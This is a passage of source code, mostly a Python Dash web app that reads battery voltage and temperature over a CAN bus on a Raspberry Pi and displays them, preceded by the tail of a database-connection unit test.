db2_con = db2._con self.assertNotEqual(db1_con, db2_con) Thread(target=connection).start() try: self.assertRaises(Empty, queue.get, 1, 0.1) except TypeError: self.assertRaises(Empty, queue.get, 0) del db1 try: db1 = queue.get(1, 1) except TypeError: db1 = queue.get(1) self.assertNotEqual(db1, db2) self.assertNotEqual(db1._con, db2._con) self.assertEqual(db1._con, db1_con) if __name__ == '__main__': unittest.main()
run_app.py
#!/usr/bin/env python # -*- coding: utf-8 -*- """ Browser based Web App Purpose: Battery Monitoring on a RPI with a PICAN2 Board Version: 4/2018 Roboball (MattK.) """ import dash from dash.dependencies import Input,Output, State, Event import dash_core_components as dcc import dash_html_components as html import base64 from plotly import tools import plotly.plotly as py import plotly.graph_objs as go from collections import deque import queue import numpy as np import random import logging import can import os import time import threading from threading import Thread # surpress logging log = logging.getLogger('werkzeug') log.setLevel(logging.ERROR) ################################## # init can bus globals ################################## freq = 0.5 # set receiver frequency: 0.2 num_sens = 2 # number of sensor data cells = 6 # number of cells per battery pack (accus) buff_len = 20 # length buffer thres = 0.95 # threshold warning # init buffer q = queue.Queue() a1_V_list = [] # accu 1 voltage a1_T_list = [] # accu 1 temperature a2_V_list = [] # accu 2 voltage a2_T_list = [] # accu 2 temperature for cell in range(cells): a1_V_list.append(deque([0] * buff_len,maxlen= buff_len)) a1_T_list.append(deque([0] * buff_len,maxlen= buff_len)) a2_V_list.append(deque([0] * buff_len,maxlen= buff_len)) a2_T_list.append(deque([0] * buff_len,maxlen= buff_len)) ################################## # init dash globals ################################## colors = { 'background': '#424242', 'text': '#7FDBFF', 'head': '#7996c4', 'c1': '#e5eefd', } # init layouts text_style_1 = dict(color='#444', textAlign = 'left', fontFamily='sans-serif', fontWeight=300) text_style_2 = dict(color='#444', textAlign = 'center', fontFamily='sans-serif', fontWeight=600) text_style_01 = dict(color='#444', textAlign = 'center', fontFamily='sans-serif', fontWeight=1000) div_style_01 = {'backgroundColor': colors['background'], 'color': colors['text'], 'marginTop': 0, 'marginLeft': 0, 'marginRight': 0} app = dash.Dash(__name__) # in case of running the pi without internet connection # you need download css, js scripts and need to activate # both serve_locally = True #app.css.config.serve_locally = True # for local css #app.scripts.config.serve_locally = True # for local js app.layout = html.Div([ ########## navbar header ########## html.Div([ html.Div([ html.Div([html.H3(" Battery Monitoring System", style={ 'padding-left' : '-1', 'margin-left' : '-1', 'margin-top': '15', 'color': '#FFFFFF', 'textAlign' : 'center', 'height' : '45' }, )]), ], className="col-lg-12"), ], className="row", style={ 'backgroundColor': colors['background'], },), html.Div([ html.Div([ ########## battery control panel ########## html.Div([ html.Div([ html.Div([ html.H3(" Control Panel",className="card-title text-center", style={},), html.Hr(), html.H4(" Battery Pack 1",className="card-title text-center"), html.Div([ html.Div([ html.Button('Load Pack 1', id='button-1', className="btn btn-secondary btn-lg btn-block", style={ 'margin-top' : '12', 'margin-bottom' : '0', 'padding-top' : '20', 'padding-bottom' : '20', }), ], className="col-lg-12 col-md-12 col-xs-4",) ], className="row"), html.Div([ html.Div([ html.Button('Stop Loading', id='button-2', className="btn btn-secondary btn-lg btn-block", style={ 'margin-top' : '14', 'margin-bottom' : '0', 'padding-top' : '20', 'padding-bottom' : '20', }), ], className="col-lg-12 col-md-12 col-xs-4",) ], className="row"), html.Hr(), html.H4(" Battery Pack 2",className="card-title text-center"), html.Div([ html.Div([ html.Button('Load Pack 2', id='button-3', className="btn btn-secondary btn-lg btn-block", style={ 'margin-top' : '12', 'margin-bottom' : '0', 'padding-top' : '20', 'padding-bottom' : '20', }), ], className="col-lg-12 col-md-12 col-xs-4",) ], className="row"), html.Div([ html.Div([ html.Button('Stop Loading', id='button-4', className="btn btn-secondary btn-lg btn-block", style={ 'margin-top' : '14', 'margin-bottom' : '0', 'padding-top' : '20', 'padding-bottom' : '20', }), ], className="col-lg-12 col-md-12 col-xs-4",) ], className="row"), html.Hr(), html.Div(id='button1-out', style={'display':'none'}), #html.H5(id='button1-out', style=text_style_2), #html.Div(id='button1-out',children='Value') ], className="card-body ", style={ 'backgroundColor': colors['c1'],},), ],className="card", style={ }), ], className="col-lg-2 col-xs-12 ", style={ }), ########## battery pack 1 ########## html.Div([ html.Div([ html.H4(" Battery Pack 1") ], className="card-header text-center text-white mb2",style={ 'backgroundColor': colors['head'],'padding-top' : '15','padding-bottom' : '8',},), html.Div([ html.Div([ html.Div([ html.Div([ dcc.Graph(id='g01',), dcc.Interval(id='graph-update', interval= 2000 * 1), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.Div([ dcc.Input(id='input-01',readonly=True, type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-02',readonly=True, type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-03', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-04', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row ", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Hr(), html.Div([ html.Div([ dcc.Graph(id='g02',), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center", style={}), html.Div([ html.Div([ dcc.Input(id='input-05', type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-06', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-07', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-08', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Hr(), html.Div([ html.Div([ dcc.Graph(id='g03',), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center", style={}), html.Div([ html.Div([ dcc.Input(id='input-09', type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-10', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-11', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-12', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.P(' Voltage in Volt (range: 10-14V), Temperature in Cยฐ (range: 0-60C)', style={'font-size': '14','padding-top' : '20'}), html.P(' Measurements: Mean ร˜ | Current Value', style={'font-size': '12','padding-top' : '0','margin-top' : '0'}), ],className="d-flex align-items-center flex-column justify-content-center text-secondary", style={}), ], className="card-body ", style={}), ],className="card ", style={ }), ], className="col-lg-5 col-xs-12 ", style={ }), ########## battery pack 2 ########## html.Div([ html.Div([ html.H4(" Battery Pack 2") ], className="card-header text-center text-white mb2",style={ 'backgroundColor': colors['head'],'padding-top' : '15','padding-bottom' : '8', },), html.Div([ html.Div([ html.Div([ html.Div([ dcc.Graph(id='g11',), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.Div([ dcc.Input(id='input-13', type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-14', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-15', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-16', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Hr(), html.Div([ html.Div([ dcc.Graph(id='g12',), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.Div([ dcc.Input(id='input-17', type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-18', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-19', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-20', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Hr(), html.Div([ html.Div([ dcc.Graph(id='g13',), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.Div([ dcc.Input(id='input-21', type='text',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '0','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-22', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-23', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), dcc.Input(id='input-24', type='text', value='',className="form-control form-control-lg ", style={ 'text-align':'center','font-size': '20', 'width': '150', 'display': 'inline-block', 'margin-left' : '34','margin-right' : '0','padding-left' : '0','padding-right' : '0',}), ],className="row", style={}), ],className="d-flex align-items-center flex-column justify-content-center ", style={}), html.Div([ html.P(' Voltage in Volt (range: 10-14V), Temperature in Cยฐ (range: 0-60C)', style={'font-size': '14','padding-top' : '20'}), html.P(' Measurements: Mean ร˜ | Current Value', style={'font-size': '12','padding-top' : '0','margin-top' : '0'}), ],className="d-flex align-items-center flex-column justify-content-center text-secondary", style={}), ], className="card-body"), ], className="card"), ], className="col-lg-5 col-xs-12"), ], className="row", style={ }), ], className="container-fluid", style={ 'margin-top': '10', 'padding' : '10', }), ], className="container-fluid", style={ 'margin': '0', 'padding' : '0', }) @app.callback( Output(component_id='input-01', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[3]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[3][0]) @app.callback( Output(component_id='input-02', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[3]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[3][0]) @app.callback( Output(component_id='input-03', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[0]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[0][0]) @app.callback( Output(component_id='input-04', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[0]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[0][0]) @app.callback( Output(component_id='input-05', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[4]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[4][0]) @app.callback( Output(component_id='input-06', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[4]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[4][0]) @app.callback( Output(component_id='input-07', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[1]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[1][0]) @app.callback( Output(component_id='input-08', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[1]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[1][0]) @app.callback( Output(component_id='input-09', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[5]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[5][0]) @app.callback( Output(component_id='input-10', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[5]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[5][0]) @app.callback( Output(component_id='input-11', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_V_list[2]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_V_list[2][0]) @app.callback( Output(component_id='input-12', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a1_T_list[2]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a1_T_list[2][0]) @app.callback( Output(component_id='input-13', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[3]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[3][0]) @app.callback( Output(component_id='input-14', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[3]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[3][0]) @app.callback( Output(component_id='input-15', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[0]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[0][0]) @app.callback( Output(component_id='input-16', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[0]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[0][0]) @app.callback( Output(component_id='input-17', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[4]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[4][0]) @app.callback( Output(component_id='input-18', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[4]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[4][0]) @app.callback( Output(component_id='input-19', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[1]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[1][0]) @app.callback( Output(component_id='input-20', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[1]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[1][0]) @app.callback( Output(component_id='input-21', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[5]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[5][0]) @app.callback( Output(component_id='input-22', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[5]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[5][0]) @app.callback( Output(component_id='input-23', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_V_list[2]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_V_list[2][0]) @app.callback( Output(component_id='input-24', component_property='value'), events=[Event('graph-update', 'interval')]) def update_output_div(): mean_val = mean(a2_T_list[2]) return 'ร˜ ' + "{:.1f}".format(mean_val) + ' | '\ "{:.1f}".format(a2_T_list[2][0]) @app.callback(Output('g01', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a1_V_list[3][0]) c_2 = compare_temp(a1_T_list[3][0]) c_3 = compare_volt(a1_V_list[0][0]) c_4 = compare_temp(a1_T_list[0][0]) trace1 = go.Bar(x=list(X), y= list(a1_V_list[3]),marker=dict(color= c_1), width=1.0,showlegend=False,) #3888ba trace2 = go.Bar(x=list(X), y= list(a1_T_list[3]),marker=dict(color= c_2), width=1.0,showlegend=False,) #38ba72 trace3 = go.Bar(x=list(X), y= list(a1_V_list[0]),marker=dict(color= c_3), width=1.0,showlegend=False,) trace4 = go.Bar(x=list(X), y= list(a1_T_list[0]),marker=dict(color= c_4), width=1.0,showlegend=False,) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 4', 'Temperature 4', 'Voltage 1', 'Temperature 1'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700) return fig @app.callback(Output('g02', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a1_V_list[4][0]) c_2 = compare_temp(a1_T_list[4][0]) c_3 = compare_volt(a1_V_list[1][0]) c_4 = compare_temp(a1_T_list[1][0]) trace1 = go.Bar(x=list(X), y=list(a1_V_list[4]),marker=dict(color= c_1), width=1.0,showlegend=False) trace2 = go.Bar(x=list(X), y=list(a1_T_list[4]),marker=dict(color= c_2), width=1.0,showlegend=False) trace3 = go.Bar(x=list(X), y=list(a1_V_list[1]),marker=dict(color= c_1), width=1.0,showlegend=False) trace4 = go.Bar(x=list(X), y=list(a1_T_list[1]),marker=dict(color= c_2), width=1.0,showlegend=False) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 5', 'Temperature 5', 'Voltage 2', 'Temperature 2'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700,) return fig @app.callback(Output('g03', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a1_V_list[5][0]) c_2 = compare_temp(a1_T_list[5][0]) c_3 = compare_volt(a1_V_list[2][0]) c_4 = compare_temp(a1_T_list[2][0]) trace1 = go.Bar(x=list(X), y=list(a1_V_list[5]),marker=dict(color= c_1), width=1.0,showlegend=False) trace2 = go.Bar(x=list(X), y=list(a1_T_list[5]),marker=dict(color= c_2), width=1.0,showlegend=False) trace3 = go.Bar(x=list(X), y=list(a1_V_list[2]),marker=dict(color= c_1), width=1.0,showlegend=False) trace4 = go.Bar(x=list(X), y=list(a1_T_list[2]),marker=dict(color= c_2), width=1.0,showlegend=False) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 6', 'Temperature 6', 'Voltage 3', 'Temperature 3'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700,) return fig @app.callback(Output('g11', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a2_V_list[3][0]) c_2 = compare_temp(a2_T_list[3][0]) c_3 = compare_volt(a2_V_list[0][0]) c_4 = compare_temp(a2_T_list[0][0]) trace1 = go.Bar(x=list(X), y=list(a2_V_list[3]),marker=dict(color= c_1), width=1.0,showlegend=False) trace2 = go.Bar(x=list(X), y=list(a2_T_list[3]),marker=dict(color= c_2), width=1.0,showlegend=False) trace3 = go.Bar(x=list(X), y=list(a2_V_list[0]),marker=dict(color= c_1), width=1.0,showlegend=False) trace4 = go.Bar(x=list(X), y=list(a2_T_list[0]),marker=dict(color= c_2), width=1.0,showlegend=False) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 4', 'Temperature 4', 'Voltage 1', 'Temperature 1'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700) return fig @app.callback(Output('g12', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a2_V_list[4][0]) c_2 = compare_temp(a2_T_list[4][0]) c_3 = compare_volt(a2_V_list[1][0]) c_4 = compare_temp(a2_T_list[1][0]) trace1 = go.Bar(x=list(X), y=list(a2_V_list[4]),marker=dict(color= c_1), width=1.0,showlegend=False) trace2 = go.Bar(x=list(X), y=list(a2_T_list[4]),marker=dict(color= c_2), width=1.0,showlegend=False) trace3 = go.Bar(x=list(X), y=list(a2_V_list[1]),marker=dict(color= c_1), width=1.0,showlegend=False) trace4 = go.Bar(x=list(X), y=list(a2_T_list[1]),marker=dict(color= c_2), width=1.0,showlegend=False) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 5', 'Temperature 5', 'Voltage 2', 'Temperature 2'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700,) return fig @app.callback(Output('g13', 'figure'), events=[Event('graph-update', 'interval')]) def update_graph_bar(): X = np.arange(0,-20,-1) # set colors c_1 = compare_volt(a2_V_list[5][0]) c_2 = compare_temp(a2_T_list[5][0]) c_3 = compare_volt(a2_V_list[2][0]) c_4 = compare_temp(a2_T_list[2][0]) trace1 = go.Bar(x=list(X), y=list(a2_V_list[5]),marker=dict(color= c_1), width=1.0,showlegend=False) trace2 = go.Bar(x=list(X), y=list(a2_T_list[5]),marker=dict(color= c_2), width=1.0,showlegend=False) trace3 = go.Bar(x=list(X), y=list(a2_V_list[2]),marker=dict(color= c_1), width=1.0,showlegend=False) trace4 = go.Bar(x=list(X), y=list(a2_T_list[2]),marker=dict(color= c_2), width=1.0,showlegend=False) fig = tools.make_subplots(rows=1, cols=4, subplot_titles=('Voltage 6','Temperature 6', 'Voltage 3', 'Temperature 3'), print_grid=False) fig.append_trace(trace1, 1, 1) fig.append_trace(trace2, 1, 2) fig.append_trace(trace3, 1, 3) fig.append_trace(trace4, 1, 4) fig['layout']['yaxis1'].update(range=[10, 14]) fig['layout']['yaxis2'].update(range=[0, 60]) fig['layout']['yaxis3'].update(range=[10, 14]) fig['layout']['yaxis4'].update(range=[0, 60]) fig['layout'].update(xaxis1=dict(showticklabels=False), yaxis1=dict(showticklabels=False), xaxis2=dict(showticklabels=False), yaxis2=dict(showticklabels=False), xaxis3=dict(showticklabels=False), yaxis3=dict(showticklabels=False), xaxis4=dict(showticklabels=False), yaxis4=dict(showticklabels=False),) fig['layout'].update(margin=dict(l=0,r=0,b=0,t=40)) fig['layout'].update(height=150, width=700,) return fig external_css = ["https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css"] for css in external_css: app.css.append_css({"external_url": css}) external_js = ["https://code.jquery.com/jquery-3.3.1.slim.min.js", "https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.3/umd/popper.min.js", "https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js"] for js in external_js: app.scripts.append_script({"external_url": js}) ################################## # Helper Functions ################################## def mean(numbers): ''' calculate mean ''' return float(sum(numbers)) / max(len(numbers), 1) def compare_volt(value): ''' compare voltages and return color''' low_thres = 10 high_thres = 14 if value < low_thres or value > high_thres: color = 'rgb(255,0,0, 0.8)' # warning mode rot else: color = 'rgb(49,130,189, 0.8)' # normal mode blau return color def compare_temp(value): ''' compare temperatures and return color''' low_thres = 0 high_thres = 60 if value < low_thres or value > high_thres: color = 'rgb(255,0,0, 0.8)' # warning mode rot else: color = 'rgb(0,128,0,0.8)'# normal mode gruen return color ################################## # CAN Data Functions ################################## def init_can(): ''' Bring up the CAN interface ''' # Close can0 if still open os.system("sudo /sbin/ip link set can0 down") # Bring up can0 interface at 500kbps os.system("sudo /sbin/ip link set can0 up type can bitrate 500000") time.sleep(0.01) # Connect to can0 interface bus = can.interface.Bus(channel='can0', bustype='socketcan_native') print('connected to can0 interface') print('ready to send/receive can messages') return bus def can_msg_rv(): ''' Put CAN messages into buffer ''' while True: msg = bus.recv() q.put(msg) def filter_buffer(byte_list, msg_id): ''' a filter for CAN messages to sort into various buffers ''' byte2 = byte_list[1] + byte_list[2] # convert from hex to dec val_dec = int(byte2, 16) / 100 # filter into buffer (temperature and voltages) for pos2 in range(1,num_sens+1): for pos3 in range(1,cells+1): if byte_list[0] == str(pos2) + str(pos3): # sort for ID: 600 (Accu 1) if msg_id == 600: # sort for temperatures 